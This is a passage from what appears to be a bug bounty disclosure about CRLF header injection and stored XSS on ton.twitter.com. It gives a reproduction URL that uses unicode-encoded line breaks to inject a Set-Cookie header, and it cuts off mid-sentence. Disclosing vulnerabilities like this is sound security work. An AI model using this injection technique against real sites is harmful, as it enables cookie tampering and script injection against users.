X (Formerly Twitter): CRLF and XSS stored on ton.twitter.com

Hey, 1 CRLF: It's similar to 52042 but weaker to reproduce go to: https://ton.twitter.com/1.1/ton/data/dm/x/%E5%98%8A%E5%98%8Dset-cookie%3A%20test%3Dtest%3B%20Domain%3D.twitter.com%3B%20Path%3D%2F%3B%20Expires%3DSat%2C%2015-Dec-2018%2009%3A45%3A55%20UTC you will find that test cookie with the val...